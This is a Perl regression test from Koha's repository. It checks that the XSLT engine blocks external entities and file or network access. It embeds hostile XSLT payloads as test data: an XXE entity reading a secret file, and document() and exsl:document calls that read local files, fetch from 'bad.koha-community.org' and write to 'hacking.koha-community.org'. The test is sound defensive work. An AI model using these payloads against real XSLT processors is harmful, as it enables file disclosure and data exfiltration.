Bug 24756: Fix D8 and U18 failures for Koha/XSLT/Security.t
[koha.git] / t / db_dependent / Koha / XSLT / Security.t
1 #!/usr/bin/perl
2
3 # Copyright 2019 Rijksmuseum
4 #
5 # This file is part of Koha.
6 #
7 # Koha is free software; you can redistribute it and/or modify it
8 # under the terms of the GNU General Public License as published by
9 # the Free Software Foundation; either version 3 of the License, or
10 # (at your option) any later version.
11 #
12 # Koha is distributed in the hope that it will be useful, but
13 # WITHOUT ANY WARRANTY; without even the implied warranty of
14 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 # GNU General Public License for more details.
16 #
17 # You should have received a copy of the GNU General Public License
18 # along with Koha; if not, see <http://www.gnu.org/licenses>.
19
20 use Modern::Perl;
21 use File::Temp qw/tempfile/;
22 use Test::More tests => 8;
23 use Test::Warn;
24
25 use Koha::XSLT::Base;
26 use t::lib::Mocks;
27
28 t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities_unsafe => 1 } );
29 my $engine=Koha::XSLT::Base->new;
30
31 my $secret_file = mytempfile('Big secret');
32 my $xslt=<<"EOT";
33 <!DOCTYPE test [<!ENTITY secret SYSTEM "$secret_file">]>
34 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
35   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
36   <xsl:variable name="secret">&secret;</xsl:variable>
37   <xsl:template match="/">
38       <secret><xsl:value-of select="\$secret"/></secret>
39   </xsl:template>
40 </xsl:stylesheet>
41 EOT
42 my $xslt_file = mytempfile($xslt);
43
44 my $output= $engine->transform( "<ignored/>", $xslt_file );
45 like($output, qr/Big secret/, 'external entity got through');
46
47 t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities_unsafe => 0 } );
48 $engine=Koha::XSLT::Base->new;
49 $output= $engine->transform( "<ignored/>", $xslt_file );
50 unlike($output, qr/Big secret/, 'external entity did not get through');
51
52 # Adding a document call to trigger callback for read_file
53 # Does not depend on expand_entities.
54 $xslt=<<"EOT";
55 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
56   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
57   <xsl:template match="/">
58       <read_file><xsl:copy-of select="document('file://$secret_file')"/></read_file>
59   </xsl:template>
60 </xsl:stylesheet>
61 EOT
62 $xslt_file = mytempfile($xslt);
63 warnings_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
64     [ qr/read_file called in XML::LibXSLT/, qr/runtime error/ ],
65     'Triggered security callback for read_file';
66
67 # Trigger write_file
68 $xslt=<<"EOT";
69 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
70   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
71   <xsl:template match="/">
72       <exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text"><xsl:text>Breached!</xsl:text></exsl:document>
73   </xsl:template>
74 </xsl:stylesheet>
75 EOT
76 $xslt_file = mytempfile($xslt);
77 warnings_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
78     [ qr/write_file called in XML::LibXSLT/, qr/runtime error/ ],
79     'Triggered security callback for write_file';
80
81 # Trigger read_net
82 $xslt=<<"EOT";
83 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
84   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
85   <xsl:template match="/">
86       <xsl:copy-of select="document('http://bad.koha-community.org/dangerous/exploit.xsl')" />
87   </xsl:template>
88 </xsl:stylesheet>
89 EOT
90 $xslt_file = mytempfile($xslt);
91 warnings_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
92     [ qr/read_net called in XML::LibXSLT/, qr/runtime error/ ],
93     'Triggered security callback for read_net';
94
95 # Trigger write_net
96 $xslt=<<"EOT";
97 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
98   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
99   <xsl:template match="/">
100       <exsl:document href="http://hacking.koha-community.org/breached.txt" omit-xml-declaration="yes" method="html">
101     <xsl:text>Breached!</xsl:text>
102 </exsl:document>
103   </xsl:template>
104 </xsl:stylesheet>
105 EOT
106 $xslt_file = mytempfile($xslt);
107 warnings_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
108     [ qr/write_net called in XML::LibXSLT/, qr/runtime error/ ],
109     'Triggered security callback for write_net';
110
111 # Check remote import (include should be similar)
112 # Trusting koha-community.org DNS here ;)
113 # This should not trigger read_net but fail on the missing import.
114 $xslt=<<"EOT";
115 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
116   <xsl:import href="http://notexpected.koha-community.org/noxsl/nothing.xsl"/>
117   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
118   <xsl:template match="/"/>
119 </xsl:stylesheet>
120 EOT
121 $xslt_file = mytempfile($xslt);
122 $engine->print_warns(1);
123 {
124     my @warn;
125     local $SIG{__WARN__} = sub { push @warn, $_[0]; };
126     $output= $engine->transform( "<ignored/>", $xslt_file );
127     is( ( grep { /failed to load external/ } @warn ), 1, 'Expected import error' );
128     is( ( grep { /read_net/ } @warn ), 0, 'No read_net warn for remote import' );
129 }
130
131 sub mytempfile {
132     my ( $fh, $fn ) = tempfile( SUFFIX => '.xsl', UNLINK => 1 );
133     print $fh $_[0]//'';
134     close $fh;
135     return $fn;
136 }